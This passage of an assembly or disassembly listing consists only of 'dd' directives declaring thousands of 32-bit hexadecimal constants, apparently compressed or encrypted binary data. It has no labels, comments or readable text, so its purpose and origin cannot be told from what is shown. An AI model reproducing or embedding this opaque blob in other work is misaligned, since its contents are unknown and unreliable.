		dd 415F1AA4h, 119DB76h,	9A33BC1Eh, 0A89D320Ch, 0CF8F035Eh
		dd 10BAF029h, 9C8403F8h, 80E5643Bh, 0D2302C45h,	1C1891h
		dd 0A2BEDA8Ch, 0D30F6AB3h, 0B0E66501h, 0CBEDD03Bh, 995BF4h
		dd 7BDBFA62h, 112A1EAEh, 33E3409h, 0C0440F0Bh, 68FA1A2Fh
		dd 9C4503FFh, 41F2C6A4h, 2A47D6B8h, 16BC3Dh, 9E2FDAEDh
		dd 3FD449F1h, 0E7807FBBh, 3BF61D73h, 1F00E133h,	0D88341DDh
		dd 7C1BAEh, 2FF1475h, 0BE6345A3h, 8C849600h, 58BB7DA7h
		dd 0C9C5004Fh, 5B333265h, 0D50C688Bh, 68EC4EB2h, 0C6072863h
		dd 937C0083h, 532A2E89h, 0E30009ACh, 1F8D2D0Eh,	792945C0h
		dd 65F90094h, 0C3F7365Dh, 0A00E66Dh, 9FC6D0EDh,	0C96843h
		dd 57E534A5h, 9091818Eh, 0E6066703h, 9F4FB917h,	0A49D1B50h
		dd 0DC0D0077h, 0E0340418h, 0AEF6EEABh, 90697D26h, 571C4D00h
		dd 4C0C70BAh, 6C5072CFh, 0B68E0142h, 2628F4FAh,	19C9E077h
		dd 2C552904h, 0E481A7C4h, 986072F3h, 35FD01DEh,	43715678h
		dd 2D408016h, 0C3416382h, 0A2CC1ED5h, 0B2C44917h, 0BDA71C00h
		dd 26019283h, 0AF8E5BD0h, 48215F98h, 4CC0B244h,	38170FAh
		dd 751A357Ah, 0B904AE6Eh, 0C5621D96h, 769AF86h,	508508F5h
		dd 383791B2h, 0DA36E8DFh, 4DEDEE00h, 0AA1B8679h, 9FA400C9h
		dd 2D555251h, 7063CE92h, 0BE1A0C0h, 0A894B159h,	0AAC53820h
		dd 660F51B9h, 0A095819Dh, 79E5B0F5h, 0C28F132Bh, 1984127h
		dd 0D04CEFF0h, 633F7DBEh, 8658F84h, 7B48A5E1h, 0C2E8DCC0h
		dd 0DF4401C5h, 4C7E36A7h, 60D1F5E6h, 0D700AFC8h, 0A9ACBA97h
		dd 2AC7FC37h, 44B684h, 2557EF18h, 0AA71AF11h, 0FD1E8206h
		dd 409CD2h, 54B9E7BEh, 1EE79DAh, 6E01E490h, 7226A85Fh
		dd 44DC8C62h, 0F2731EAEh, 0A76D00A4h, 65D9611Eh, 0CAB3FCA0h
		dd 0EC92A503h, 0E035E874h, 0A347DB4h, 7F1546CEh, 7A3180B0h
		dd 0FD23408Fh, 0DE410C0h, 1898BC3h, 86E3DD4h, 80A231BAh
		dd 321D0B0h, 0B8691C8Fh, 1E4B04D8h, 0C09E14D9h,	0B858D30Ch
		dd 0DEF4A514h, 0A8F928F0h, 9CED1100h, 0A40257D4h, 27F00F52h
		dd 4320BA34h, 3CB2F4DBh, 6D9EFD1Eh, 452B3B40h, 0FECF86h
		dd 0BAA954B1h, 4AAA402Dh, 0C6A65901h, 0CA3D73E8h, 0E5446480h
		dd 8B3E6E68h, 9AF9320Fh, 810425EFh, 7273CC01h, 64243194h
		dd 2DB00062h, 3A265023h, 5D00A867h, 5421EB3h, 7BF22788h
		dd 8F635814h, 200773Fh,	0FAE68BFh, 52003306h, 8140B5C5h
		dd 0ECCC2A0h, 4EE92FEFh, 70A05E6Eh, 0D460A105h,	0E04DE700h
		dd 9B3834CBh, 0CE9C0E92h, 7421943Eh, 2897B391h,	44540088h
		dd 6BFFB71Ah, 4ADA00AFh, 23190AE1h, 8400494Ch, 0A7D5B02Eh
		dd 73E8C09Ch, 98070066h, 48CB7128h, 4E007D13h, 73914B83h
		dd 0F6954AF0h, 0F87A6320h, 4CE87508h, 1722C152h, 0FF633CA9h
		dd 0D890E580h, 5F71AD95h, 0A42DD090h, 0E6837875h, 871B1E13h
		dd 16412EBh, 38E14420h,	0BD0C249Ch, 62C9B01Dh, 1B00E4E4h
		dd 66350D22h, 9DB200D9h, 148D245Ch, 0CF7ECD6Eh,	84456F4Eh
		dd 0C080A212h, 45E293h,	9258B1B9h, 5D8DA0C0h, 0DD77F37Ch
		dd 0C919B00h, 51BF6418h, 24C100E2h, 3F3D4FA4h, 0E3E04EC9h
		dd 33179600h, 41A89DBCh, 16120566h, 0C32E6D7Ch,	5E833665h
		dd 0C19FA9A0h, 808D583Ch, 0D23203C7h, 310064Ch,	20132826h
		dd 9AF81819h, 7900B533h, 3FE4F3DDh, 2EB7F5h, 0AD81BCBBh
		dd 7E121968h, 580F2000h, 0A9FA8A13h, 0CB7917h, 609A7511h
		dd 0CA7A6CA5h, 0ED814A0Fh, 3251032Eh, 806393BAh, 0FEDB18h
		dd 0D6D5C726h, 2E88E914h, 55AD5600h, 49CEBC06h,	65600C1Ah
		dd 16913FE2h, 0C36B100h, 0A012C32Ah, 0ECA8005Ah, 88299ABh
		dd 48C0D4DBh, 1860FC6Ch, 0F2D8C096h, 0BD511D1Fh, 71545500h
		dd 0B4B0B7F3h, 5A590028h, 1A0148F5h, 20C343B6h,	97903Eh
		dd 0F260AA38h, 48DAF670h, 67C78C00h, 24E02912h,	785218E7h
		dd 0D2BEB90Ah, 860008B8h, 8E1F48A5h, 6FC44Fh, 0DCC35CF4h
		dd 738B351Ch, 5E002572h, 0B3769E3Dh, 0E44CC6h, 9B893227h
		dd 0E31AD9B2h, 563AA203h, 0E8AD4D25h, 7C48FDA3h, 676D03C9h
		dd 8B0C1EDCh, 0DAC005F8h, 6FA2991Eh, 0E0F7310Fh, 7CCDD9A0h
		dd 0B0830F8Eh, 6381E05Ch, 0FFE510DDh, 219D99C8h, 27973B00h
		dd 6FB29B8h, 68260093h,	0EA07BF9Ch, 8B587AD2h, 3B201277h
		dd 800E2809h, 62F7183Fh, 3F3603CCh, 6192D053h, 57353AB0h
		dd 0A9003C90h, 8B8AE6E9h, 0D29D79h, 6C02D93Fh, 949CAC4Ch
		dd 348E0300h, 0E9548D8Ch, 0FF0C03CFh, 0E31EE1DEh, 0BD0D59B0h
		dd 35159304h, 0C9005643h, 77052A6h, 0F57CE9F6h,	34185E00h
		dd 51630183h, 0C09500B6h, 0A3415D22h, 0F705AA80h, 3F5716E9h
		dd 0F90E9000h, 10F2F8h,	0C55BC60Bh, 5943287Ah, 0A1E3380Fh
		dd 35954709h, 6C4D8820h, 97B13ADDh, 808DAA80h, 0C402D79Ah
		dd 80F1943Fh, 392E0921h, 22267Ch, 4FD5294Ch, 0B784C01Ah
		dd 0EC009DEAh, 2620401Eh, 0D4711Ch, 0FC958268h,	0E30CCB10h
		dd 0A6003173h, 7C55FECEh, 908B59h, 9A99AF12h, 322A3ED4h
		dd 3DB4F20Fh, 0A96E2E5h, 510AE0E7h, 4CB6FE99h, 0C1006AA2h
		dd 7A0277B3h, 79FA828Ch, 65563703h, 98E97FF0h, 1C33488h
		dd 782C20A2h, 24AD0E85h, 0DC748288h, 58978420h,	8E1FC1FEh
		dd 390BF987h, 738073B3h, 8AF27640h, 0AB58F700h,	0C2ED9D4Dh
		dd 32600315h, 0F4D818EEh, 0A24D780h, 101D48h, 0C3CEE4A6h
		dd 536519h, 5BA443ADh, 997A8740h, 200F78EAh, 4A8C7916h
		dd 843D8403h, 395E7DBDh, 9AFFFF80h, 98212EADh, 7FC2033h
		dd 9BA0C738h, 7ECEBEh, 45F6D187h, 2F005DFCh, 296DCF84h
		dd 9D887Bh, 5533EF4Ah, 0A40C4FB1h, 0F007227Eh, 0E58D4D9Ah
		dd 0AB5AE720h, 80B2015Eh, 0AEE61C52h, 0B2C0C256h, 0A50073E1h
		dd 3D6E7A4Bh, 7659005h,	0A6446855h, 8F3D0EAh, 777DC423h
		dd 0C03FD100h, 585246Eh, 0B3951E06h, 9B4F40DBh,	0F363044Ah
		dd 177E6901h, 112F1C34h, 7F8C8h, 0CAF93FE7h, 0B802AE6Ah
		dd 0B7445307h, 0DC38F46h, 9C21F979h, 0E019F5D0h, 2B302E4h
		dd 0AE613CAh, 7DA7F460h, 5CD79B00h, 0AF9712C0h,	42961238h
		dd 9AEC00EBh, 0C8A57A67h, 8E93AE00h, 0C4C5FA39h, 0F28C0068h
		dd 34DA5A30h, 5E01586Ch, 11E69473h, 15D4463Ch, 6B5B000Ch
		dd 11EE27Bh, 0BB3DA18Ah, 744B87E6h, 17512D03h, 0CF704FE8h
		dd 47BA021Bh, 6E42328Fh, 64202040h, 0CE369507h,	0E740F2CAh
		dd 1F5AF02h, 453F6C07h
		dd 20326D4Eh, 0A07342DCh, 0BE395161h, 2DD4A992h, 1CBC980Fh
		dd 805C8E1Ch, 0DFEB63F1h, 88E2B201h, 3053B313h,	48C65400h
		dd 0B7C2EFh, 772E0D7Bh,	3188E4A4h, 5FD2C700h, 0EBF9F249h
		dd 0DA4A00DCh, 0D613AF15h, 6000E628h, 6668E388h, 2CDD781Ah
		dd 100A719h, 16D58382h,	58482437h, 0BC1C6300h, 9FAD3AFBh
		dd 0F3DE00FCh, 82812F5Ch, 0BE38203Eh, 9A70018h,	0CAFA5F4Dh
		dd 0BD850312h, 6CA46237h, 218032D3h, 0C9096759h, 81C19Eh
		dd 4AC09CCh, 9F5B00DDh,	7C0D8801h, 9407AB36h, 0BB1ADE0h
		dd 0D546BF90h, 149E00FBh, 0F417E32Dh, 207DDD4h,	2BD3C304h
		dd 594BE470h, 20B73CA4h, 52A3B01h, 0CC49A09Dh, 1E26C122h
		dd 8702CCCEh, 6028BE5Fh, 0B653C0h, 0D14AB790h, 75C52F7h
		dd 0AA89A600h, 0C5FF2F20h, 0B847265h, 0BAFB671Ch, 2A4B5C00h
		dd 3B00CCE9h, 9F22B330h, 29415F4h, 18781C8Eh, 3C43E2F3h
		dd 4D8A1280h, 59BEAF00h, 0F89D5D30h, 0BFEE0097h, 0DA4523A3h
		dd 43EAD526h, 8140E003h, 99206660h, 0CCDCEA24h,	628A0FAFh
		dd 0E020C39Fh, 63546C79h, 1E459B07h, 73E7202Bh,	312C002Bh
		dd 0EF3BDCh, 0A75692ACh, 0E1A516DAh, 77013EF8h,	222B034Fh
		dd 18407162h, 0C0EF25D6h, 9F3468A9h, 8C070BBh, 84A420B2h
		dd 0C5B95089h, 1FFA0FF4h, 0E0812CEAh, 0E7496D88h, 0C83DE6B1h
		dd 0C100B098h, 0C5554A22h, 466924h, 0DF217A10h,	0EDFFD5C0h
		dd 1F31E6F2h, 25AD386Bh, 0F020D6E0h, 0DCF50EC0h, 14400203h
		dd 0A094E6AFh, 0ED45A102h, 0C151C1EFh, 7180E202h, 0DBF66A6h
		dd 35783D94h, 56D48B00h, 0DFA89EBDh, 0CAD9006Fh, 92B4A931h
		dd 0A2001FFCh, 0B5823519h, 79F6F048h, 0E6E800ABh, 4CED9AD2h
		dd 907FB75h, 0CBBDF9F7h, 0E743E7B3h, 6F60EF27h,	0C1E24982h
		dd 7A31A20h, 0EDC08016h, 92C42C4Ah, 43DD0017h, 72569BC9h
		dd 960D9FF5h, 48E9D2B4h, 0F01C4088h, 83999307h,	0D30A208Fh
		dd 4485F801h, 318FA86h,	6BE0405Fh, 0C23E02BEh, 1DFC5777h
		dd 4AEC7C8Fh, 0FB30A121h, 526F8815h, 2151C1A6h,	0F56CDE18h
		dd 15D1A651h, 4375CF07h, 48A63061h, 7B1B4180h, 865C29DBh
		dd 606AFE31h, 0EEFCD3A0h, 4A990681h, 98310EEDh,	1F618901h
		dd 1970EBADh, 16060A0h,	561A4BB3h, 30DB6317h, 0A3009AA4h
		dd 0BB839C2Ch, 36CFAFh,	798816EEh, 685C5A7Fh, 0DCE0D300h
		dd 6513772Dh, 0EDB50548h, 0C0A5A7ADh, 0EC71163Bh, 87B2E00h
		dd 9A319B3Eh, 0F98B0209h, 65A3EFA5h, 89673A40h,	870043E8h
		dd 461771B4h, 7859D82h,	9B0955EEh, 0B9FA0DAh, 0CA00E1ECh
		dd 6D2E1CAFh, 0B7A55196h, 8800FA78h, 9A7E0BC5h,	2AAB04h
		dd 0C899E937h, 3EBD078Dh, 0D5EA6F1Fh, 1CDA6600h, 7AC292B5h
		dd 9EEE0A4Fh, 82C8DB08h, 0FD75BFDEh, 21ACA0A8h,	0F8A68304h
		dd 1E72108h, 30970A32h,	781C317Eh, 0B980CB5Dh, 1A77DA28h
		dd 0C325003Fh, 99500F63h, 0EC009816h, 0BB67C632h, 0FB5E122h
		dd 4A8E952h, 5FD3B020h,	8D0034E8h, 0FB1E8749h, 357B5h
		dd 0BDE6546Eh, 79F76846h, 79C0901h, 0EDB03C45h,	0A0F73471h
		dd 0C38FCAh, 43951ACCh,	37837E2Bh, 0BE004D73h, 0D2CDBC38h
		dd 0B26589h, 6C5E739h, 0DDB6C3D7h, 93F69F00h, 4B637328h
		dd 774300C4h, 0D1B0E61Eh, 7C3EABA5h, 28DF306Dh,	0BECA81h
		dd 710F5F6Fh, 0F7BA3E35h, 80FC3039h, 409A8FEAh,	976270h
		dd 0CF3AB345h, 85BB9384h, 91ED2B26h, 42750300h,	77B03395h
		dd 6594006Eh, 0A2AD7330h, 0F31F36FDh, 35803D4Ah, 85EFD558h
		dd 86FA037Ch, 4FB6260Eh, 42CB781Dh, 666A7080h, 28399B0Ch
		dd 7D013B7h, 2051AA8Bh,	0C76E8054h, 0CF0001F7h,	7E303C66h
		dd 2A442CBEh, 0E841F4h,	6E8790EEh, 1DEA914Ah, 0E355CE03h
		dd 0ABC2F0A9h, 0D649C0AEh, 0DFF3CCDh, 240A5880h, 0EB1228ECh
		dd 4E9E4E2Eh, 0DDF90039h, 90E354C1h, 7F9501D2h,	0C63C6C43h
		dd 56C7D037h, 0CA88C860h, 4C480Ch, 0B2E3961Ch, 1183F587h
		dd 21151A00h, 0ACDB8D58h, 0C44D0044h, 0BA461CAEh, 0E13EC5B3h
		dd 0D28E0025h, 80610584h, 28500343h, 8190D1Dh, 0B303ECF8h
		dd 4A18540Eh, 0EBCDE7D3h, 0FBC4C7C3h, 0EE67C89Ah, 7B31006Bh
		dd 841946F1h, 4A3D42C2h, 3F4B00A3h, 0A75B3E74h,	4EBB001Bh
		dd 720BBCDFh, 20ABF8Bh,	9CC13127h, 0FBFE4F04h, 73901B00h
		dd 0EE00CDA6h, 5705B011h, 73E7AD0h, 0A7A8C9DEh,	0A4ECC05Bh
		dd 557CCB14h, 0D0058502h, 806C2ACAh, 64508CA1h,	81D0086h
		dd 0B54A7406h, 810CDD88h, 690BFDFEh, 738F1E59h,	39954071h
		dd 21A1274Ah, 0F600EB7Ch, 0EAA5CBC5h, 0E52A6h, 0BC7BC65Dh
		dd 0F990D89h, 2D85FE04h, 18806094h, 104E8B43h, 81228Dh
		dd 6E23D354h, 70E08F3h,	9D6F8EB4h, 88B8C443h, 1A7E34F4h
		dd 8075283Ah, 50DABEC7h, 3F7EE9h, 0CF260CC5h, 0ACA0F4BCh
		dd 41206E00h, 0CB320154h, 0F1110049h, 6C7ED40Fh, 80077F9h
		dd 9478F579h, 1E131A6h,	439F2D1Ah, 0D80A5F84h, 0DE1F4D2Fh
		dd 0AEC134D6h, 779562F0h, 3A6BC20h, 3DA5B2CAh, 6EF017C1h
		dd 2F1CC2B1h, 4D00BBC7h, 2EFE77E5h, 0D1390315h,	0A0969709h
		dd 0B33AAFD0h, 6201E1F4h, 6CF22231h, 0EF7002FCh, 0DFB60715h
		dd 0D0F67192h, 6D663BFAh, 0AC54A203h, 901CE755h, 166944B7h
		dd 53EE02h, 1DA29648h, 0F948B029h, 0BDA07F0h, 0C790C312h
		dd 11917Ah, 283CA7D8h, 87F78CDh, 52A84507h, 0B6005A29h
		dd 0F868EB3Ah, 820F1F0Eh, 6EC300C6h, 66BB5F9Dh,	0FA1F5E00h
		dd 0CC9BAFE5h, 98F3DD2h, 0D08B2D80h, 940F3226h,	5F142B18h
		dd 0B036AE28h, 0A06CFCD8h, 2369D4h, 38C4101Ch, 94617208h
		dd 8BF6B700h, 0FCCDB879h, 0CC58000Dh, 16430B34h, 3D07A65Ch
		dd 64151CC0h, 0E02A79F2h, 951467h, 8BB1DFC6h, 717C1ACFh
		dd 466EA100h, 6DF8BD0Ah, 0FC2700EFh, 357B2047h,	570149C2h
		dd 9214EB9Ch, 0CEC4110Bh, 0DD5400C8h, 6D6CB55Dh, 0EF00FA21h
		dd 86D07FC5h, 122742FCh, 40187532h, 17348A70h, 54923AA9h
		dd 0B10029E0h, 25A79CD1h, 49283Bh, 5E4BB25Ah, 79F20B1Dh
		dd 45F10F00h, 0D07D77C0h, 347E82h, 99316C72h, 7F97A29Fh
		dd 9346C31Fh, 85F3FE80h, 0C4CE22h, 7203D773h, 2C051E0Bh
		dd 8B961100h, 7F610DA0h, 325A0E85h, 998391E8h, 0A000F964h
		dd 0A4C48EB5h, 75BB319h, 0F6EE22FCh, 320980BBh,	4D480748h
		dd 5ACD0010h, 0EF6F21F9h, 0BFF50011h, 24AA9DF3h, 6E008CD1h
		dd 0DD41299Fh, 70C00ABDh, 389460EAh, 59487C79h,	8CB032Eh
		dd 2B1F314h, 0BB336CD7h, 0BA1D43D1h, 0C7C157CAh, 4CFC4301h
		dd 9DD23C80h, 2C3D4198h, 0C232414h, 4B8FBD83h, 0AB61C011h
		dd 5F8E30DFh, 5681B368h, 3059C004h, 6080A464h, 13659Bh
		dd 0CE8CFE2Bh, 494C780Eh, 0EF5D7D1Eh, 67367A00h, 3E097FD1h
		dd 528E59D9h, 3A0019D7h, 2327AF6Bh, 8999D00h, 9B5CDFC2h
		dd 470D0037h, 0C68CB338h, 4502B962h, 96E1B49h, 0D5A49851h
		dd 0EE2800B1h, 0D307BE04h, 5B07290Bh, 8EE734E9h, 73551500h
		dd 1D2FFC92h, 3FB2EB7Ah, 0FB815280h, 0FA70C87Fh, 3B796500h
		dd 0CAF14101h, 1AC73D0h, 0A44FABAEh, 0D1B4FD25h, 0D40F213Ch
		dd 0A800A68Fh, 0A376EC40h, 8DAED1h, 95C758D5h, 3DD0F341h
		dd 0FB431002h, 68F0071Ch, 46F4580h, 0BEE1C3FCh,	2E0C80DFh
		dd 0F20012F1h, 513A5EA4h, 0FE86E7h, 0B21D47A0h,	583FBF20h
		dd 0CB1C9C00h, 0EE7BF5B7h
		dd 0DC5C1698h, 22A8409Fh, 57951D13h, 0EAAA2E00h, 0A126DA20h
		dd 0C845592Ch, 0C00EC61Eh, 82E7DEECh, 0CC02E5C2h, 3AC88D68h
		dd 9FCC6821h, 75450090h, 840DBF01h, 0A103C1E9h,	496DE0ADh
		dd 16180283h, 276BDCA3h, 7FDD61FFh, 0F5289040h,	5960007Ch
		dd 1D76E647h, 7E0112DAh, 95921044h, 888E5CECh, 9A20E706h
		dd 0AE07E5E1h, 2D551B00h, 6D31861Fh, 0E6EE3EDEh, 206AF00h
		dd 42B89603h, 0D2E92806h, 28088CAh, 0ED368418h,	0A8A0F581h
		dd 0C2E25679h, 26DCFD00h, 0B8FFB64Ch, 21351FC7h, 94CC70A6h
		dd 5B074D48h, 0FDF5852Ch, 6032E19Eh, 782C9317h,	161A4A00h
		dd 0A59D41EDh, 0EA72A100h, 0DA76A45Eh, 614300C8h, 4D3034A6h
		dd 95008499h, 225AF56Fh, 317CD39h, 0F2D87A98h, 0F1F0D120h
		dd 9B009C40h, 7677C1D5h, 7E45904h, 0CCB7DFEBh, 0CF0380B8h
		dd 3A00A073h, 3CA6DD3Fh, 1A95Ch, 43F9D29Dh, 49B48BE8h
		dd 0E2550603h, 90B09ECBh, 0EE7116h, 12C96ACFh, 0EC611D05h
		dd 779C0803h, 0F88BA8E3h, 7FBB792h, 0F278B0CFh,	1572C11Eh
		dd 3B02877h, 172557DFh,	0AB07D533h, 88D5E79Ah, 0F4E324C0h
		dd 9B10000Dh, 7B3AF2A3h, 0E1005B08h, 0C218BB4Eh, 0CFCFE20h
		dd 711DFA4Ah, 0D707FF51h, 0D0ADC53Ch, 0DA841110h, 0FDCCA8E0h
		dd 4A2C0053h, 0C010F9B6h, 0D18B447h, 0CC21D63Ah, 72AD1D99h
		dd 9FA48040h, 0ACF9C336h, 16786901h, 144B6007h,	920221E8h
		dd 0EDA11F50h, 46DD1F4Ah, 190D8757h, 2CA0AE60h,	33FC78h
		dd 0ACA8A0E0h, 0A3B03C7Ch, 10F2D500h, 0F8A2D7B3h, 6A780073h
		dd 4595AB04h, 963CB95Fh, 0E947000Eh, 7982EFF7h,	0A3DF3A2Bh
		dd 4CED5081h, 0CC938B4Ah, 0E06081FDh, 32AC53F9h, 4A75763Ch
		dd 0F6900FDDh, 0B0AEE007h, 25DCDEFDh, 0D95A6700h, 0F1E443DDh
		dd 5D2F3E7Ch, 1DB47AA4h, 940E40B9h, 4BB10B29h, 0BF381000h
		dd 0C7851FC0h, 4DAB0B2Dh, 18806028h, 0AFF57A84h, 0FE00AE71h
		dd 46BCB5A2h, 1ED8C30Eh, 0CA233Ch, 0DAF95E74h, 2F160B64h
		dd 8103214Bh, 0CF309ECh, 9F445338h, 9137EA40h, 50C008C5h
		dd 0C086FC0h, 0C1EE758Fh, 0FF07BD20h, 0A26A6706h, 0D5C3B980h
		dd 31AC7CA7h, 1939B72Ch, 8708BA1Ah, 40E6039Ch, 58F06BB7h
		dd 5CBDED45h, 0C14CFC90h, 7C2A6901h, 87EC2DAFh,	0C319B4C1h
		dd 0AAC02BF5h, 4C34579Ch, 0A00E9B7Bh, 6B60F62Eh, 0FFC45DD1h
		dd 3D540506h, 178AAD0h,	8DEC9F0Ch, 0E0D281BFh, 9600011Bh
		dd 13054662h, 1A19C7Eh,	0E00FD45Ch, 82C461C8h, 0BDDC52F1h
		dd 0D86DE3F0h, 0D61C7Ch, 90956351h, 0F78BA49Eh,	0F5186AEEh
		dd 1BD8FF1Eh, 1F729Ah, 120A03EBh, 880F579Dh, 0F9FDA833h
		dd 2ADAE163h, 8048E8h, 0DB8576C3h, 0CFCDCAF6h, 115D4E00h
		dd 0BF631E30h, 4F7C399Dh, 0C8F01BCh, 0BC2CA704h, 61637708h
		dd 0D0E78620h, 577A50h,	0BDF59237h, 0F343895Ch,	0C34BF400h
		dd 1C886B12h, 32A70C86h, 2068BE41h, 1F4561C0h, 0E7AAC36h
		dd 237CC077h, 0CC432079h, 0B9374AEFh, 0F7802862h, 81774E9Fh
		dd 0BEA3F8DCh, 3E122780h, 658170D9h, 32291F88h,	488C004Ch
		dd 70D3E6E5h, 6AD100FCh, 5110D67Eh, 0A700CC81h,	0B25D8935h
		dd 126334h, 0D195C516h,	0A5A9CAB4h, 5B88F803h, 0E3899165h
		dd 0F6C9F0FAh, 0A97F4C5Ah, 0B4758B03h, 34A05217h, 0B2555E41h
		dd 6E2A4304h, 0BFA61000h, 0A95D12B5h, 0F9110060h, 9294C6AAh
		dd 0EA0066C1h, 706ADD29h, 0C4BB1F99h, 441A7C29h, 0BD44A5F5h
		dd 0B94544DCh, 14425848h, 0D961228Ch, 7F77EF00h, 0F4E4A9h
		dd 40A6794Dh, 9591732Eh, 3AECDAF2h, 45D1D900h, 0AD626D9Eh
		dd 0E1765Eh, 0B7D86F19h, 314480A2h, 7D90DD00h, 1154D2D4h
		dd 745B0303h, 6CF123D1h, 0DE8FF100h, 0B41B251Ch, 495C1EF4h
		dd 847E003Fh, 7094C3CCh, 0C0F76C0Fh, 0F0AA004Eh, 0FDB66D5h
		dd 0B52345CFh, 3839EA4Ch, 3CDC1201h, 0ACDFDE35h, 0E6F030h
		dd 640BDBCDh, 0C1450657h, 2A89000h, 0B9EBB8B6h,	0DD13182Ah
		dd 841E40ECh, 0DCF82403h, 8023FDEEh, 3C79D737h,	4B000B86h
		dd 0AFD65A0Dh, 2F00A214h, 881EAA16h, 0DAB04Ah, 0E219E105h
		dd 7A949537h, 0C003AC77h, 0C674B60Ch, 0A28DAAA7h, 61EAFBF0h
		dd 6BDC020Fh, 0A4B0000Fh, 661B3FBDh, 6A00E0E2h,	512AAD33h
		dd 27AB3Bh, 0F25E49Bh, 0B9582C52h, 0A33C86ECh, 0AD78006Ch
		dd 508B5DE2h, 7FEF0097h, 204DDAA8h, 0E7903C3Dh,	84DDB401h
		dd 6CDF81Bh, 5902B087h,	9112678Ah, 0CF763FE1h, 41B9E9F8h
		dd 7EA2C500h, 3B367166h, 0E0720F42h, 59C1AACAh,	0ECF5D6B7h
		dd 0BB004FDEh, 1CC32BF1h, 79137C11h, 4AC801B2h,	1A088726h
		dd 40FB71DFh, 0B0AC72F0h, 6455600h, 8FC22DD3h, 0D9A0142h
		dd 0B18BD7C3h, 0EE9C0BFh, 49F80900h, 1C35863Ch,	0A3180007h
		dd 0C111A8B6h, 3D00CF5Ch, 0B229D6EDh, 4F82DBh, 0E355F5FBh
		dd 0BB0F89CAh, 3FB06F00h, 0A34B7214h, 0C32E0073h, 58624EBCh
		dd 0D7004F8Ch, 1532CD95h, 134B1F7h, 54B68E94h, 30080D80h
		dd 960006DBh, 67EBBEB2h, 4EE623h, 0A2DA8978h, 998E7D9Fh
		dd 1E69B403h, 0BB153F34h, 0BDBED032h, 0D93300C2h, 14AB7376h
		dd 1203ED41h, 0AA4993D2h, 3998F0C0h, 8B9B002Fh,	8F3546F8h
		dd 74003EF3h, 0B98DAA5Bh, 0BFEB4Bh, 0AD037198h,	67D41623h
		dd 313CD000h, 0F05F9FA3h, 0D7D8E9A5h, 38B766Ah,	0E1C4E589h
		dd 97904922h, 9D0E7887h, 60DBEAD0h, 0CE435FEEh,	0D4CF00D5h
		dd 788217B2h, 12007DA3h, 3C1B23FFh, 0EB24D3h, 632A8843h
		dd 98530872h, 135C3200h, 0D33D0B21h, 2F7BF8h, 0FC6B458Bh
		dd 1EFB5FDBh, 1893A700h, 3A74E0CFh, 0E6680007h,	0BC196523h
		dd 0F30013F8h, 0D9F46A4Ah, 0A08101h, 0AC4E1E9Eh, 0CF8C2A0Bh
		dd 6D766702h, 80F9A152h, 0F70DA8C4h, 0F32907C8h, 0D0DA0843h
		dd 386315D8h, 3B61A200h, 863EB88Ch, 476200CFh, 0DE744F4Ah
		dd 401F2F7h, 93EAE4DAh,	54309B92h, 96E014A6h, 613EC40Dh
		dd 0EDB02F00h, 7FA4FB47h, 324DAE0Eh, 0FE06FF6h,	0C000F250h
		dd 1D296004h, 159A0044h, 583C4CB7h, 86001021h, 719784C3h
		dd 0B47BDBh, 63E8C175h,	0D559C9A2h, 9C704000h, 352ECC27h
		dd 7CEA03E2h, 63D3E0B2h, 987881F0h, 465C0501h, 0D0F67321h
		dd 6F319424h, 51807A3Ch, 5CA267E4h, 55811603h, 95FFD465h
		dd 0CB1C5380h, 0D361005Bh, 10BB51FEh, 0EB603BF9h, 6F983F19h
		dd 7CF0CCh, 0DEFC2AC4h,	48BA3746h, 871B1200h, 1C148874h
		dd 0BE8B00EBh, 24B28644h, 3E00E38Ah, 0CA897F38h, 5FC4D7Bh
		dd 0DC160B6Dh, 0E3F00098h, 51634E56h, 0CCD83D00h, 6A1DEE37h
		dd 2609F659h, 1645CE4h,	0B34AEB74h, 2068E9D5h, 79036598h
		dd 0C7CBB512h, 55C59084h, 69700E9h, 39992440h, 0A9000A8Fh
		dd 38C6E0B8h, 16DAEE6h,	0A0D878DFh, 40AA1416h, 333ECDDCh
		dd 0A09649h, 5CE3DAC3h,	79407Ch, 2209E4E6h, 32112D1Ah
		dd 50023571h, 4C6E88BFh, 80B062B4h, 0A712494Fh,	0A3EC0217h
		dd 3E3F0ECBh, 0E19B00C0h, 3D1D8909h, 29A48EC1h,	61588014h
		dd 1C51DAE5h, 5AF5E31Eh, 5C40302Eh, 290052B0h, 0FA91FF1Ch
		dd 354092h, 0A744A2ECh,	7A55AB4Fh, 203CE600h, 0F5D3D64Ah
		dd 685002Dh, 1AA1DBC3h,	0DC00D247h, 4E1042D4h, 3FBA33E6h
		dd 5B39A7A6h, 0E708B400h, 5E12A251h, 28B55903h,	0D0B3BF60h
		dd 0EB7A73h, 0B99DB23h,	0A606D71Ch, 0D1001D78h,	78E271BCh
		dd 3A60C715h, 73DD05h
		dd 81FE8D95h, 7B2B9376h, 4E1C905h, 8C03B3CEh, 1F780FBCh
		dd 4055EC58h, 0BB17F8E6h, 0FC1D2F14h, 0C8470827h, 0E5B2FAF9h
		dd 0DA4A4024h, 65A100C6h, 3847E230h, 0A403F93Ch, 5B6C6608h
		dd 0E880C579h, 0E6AC299Ch, 0CF8E00C8h, 85D6829Dh, 6600E3CDh
		dd 9157968Ch, 76491Eh, 4169818Dh, 0E92ACF52h, 0E4F37A00h
		dd 1B798E07h, 825301F1h, 0B12711FBh, 0EBA1C81Fh, 5A00A9EAh
		dd 8656E95Ch, 7FA4950h,	75462D7Bh, 2FBED0CAh, 590F66E5h
		dd 0D4886727h, 3D200E4h, 89457A0Dh, 8B6B0098h, 0D3C3D460h
		dd 5C1ECCC0h, 680F13Bh,	5651B9A3h, 9A0200E7h, 0BBF48D18h
		dd 7D002F98h, 0B9225C17h, 597BCh, 0D3D5AAF0h, 0A4218336h
		dd 69481E00h, 7D555606h, 5EAB0062h, 94B28AF0h, 8502D089h
		dd 32548F71h, 580D50Eh,	1062E239h, 4C92330Fh, 0D437A0CBh
		dd 28FF98F3h, 0CE1FF2h,	2E0381FAh, 0E26128Dh, 7A803500h
		dd 2329563Dh, 847537h, 607BD8C9h, 62F1D4BEh, 0C28D680Fh
		dd 6537C04Ah, 0ECCE477h, 9EA1BC69h, 7DA9811Ch, 7427A57Eh
		dd 3A0039B8h, 348EF26h,	594E24h, 0C41254E7h, 5D6E449Dh
		dd 3FD48600h, 423D1302h, 0A4460076h, 0B487C2E2h, 9A0056C6h
		dd 0E120BBFCh, 7C0521h,	0B201176Ah, 0EAC831A7h,	36270E07h
		dd 0D5A0AA68h, 78B508AEh, 5A0700B0h, 3E2893C4h,	2572758Fh
